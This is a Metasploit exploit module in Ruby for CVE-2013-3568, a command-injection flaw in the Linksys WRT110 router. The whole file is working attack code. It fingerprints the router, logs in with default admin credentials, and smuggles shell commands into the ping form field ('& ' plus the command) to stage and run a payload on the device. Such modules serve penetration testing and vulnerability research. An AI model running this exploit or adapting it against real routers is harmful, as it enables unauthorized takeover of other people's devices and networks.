Linksys WRT110 Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStagerEcho  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linksys WRT110 Remote Command Execution',  
'Description' => %q{  
The Linksys WRT110 consumer router is vulnerable to a command injection  
exploit in the ping field of the web interface.  
},  
'Author' =>  
[  
'Craig Young', # Vulnerability discovery  
'joev <jvennix[at]rapid7.com>', # msf module  
'juan vazquez' # module help + echo cmd stager  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-3568'],  
['BID', '61151'],  
['URL', 'http://seclists.org/bugtraq/2013/Jul/78']  
],  
'DisclosureDate' => 'Jul 12 2013',  
'Privileged' => true,  
'Platform' => ['linux'],  
'Arch' => ARCH_MIPSLE,  
'Targets' =>  
[  
['Linux mipsel Payload', { } ]  
],  
'DefaultTarget' => 0,  
))  
  
register_options([  
OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']),  
OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),  
OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']),  
OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20])  
], self.class)  
  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => '/HNAP1/'  
})  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Safe  
end  
  
if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
test_login!  
  
execute_cmdstager  
end  
  
# Sends an HTTP request with authorization header to the router  
# Raises an exception unless the login is successful  
def test_login!  
print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}")  
  
res = send_auth_request_cgi({  
'uri' => '/',  
'method' => 'GET'  
})  
  
if not res or res.code == 401 or res.code == 404  
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}")  
else  
print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}")  
end  
end  
  
# Run the command on the router  
def execute_command(cmd, opts)  
send_auth_request_cgi({  
'uri' => '/ping.cgi',  
'method' => 'POST',  
'vars_post' => {  
'pingstr' => '& ' + cmd  
}  
})  
  
Rex.sleep(1) # Give the device a second  
end  
  
# Helper methods  
def user; datastore['USERNAME']; end  
def pass; datastore['PASSWORD'] || ''; end  
  
def send_auth_request_cgi(opts={}, timeout=nil)  
timeout ||= datastore['TIMEOUT']  
opts.merge!('authorization' => basic_auth(user, pass))  
begin  
send_request_cgi(opts, timeout)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")  
end  
end  
end  
`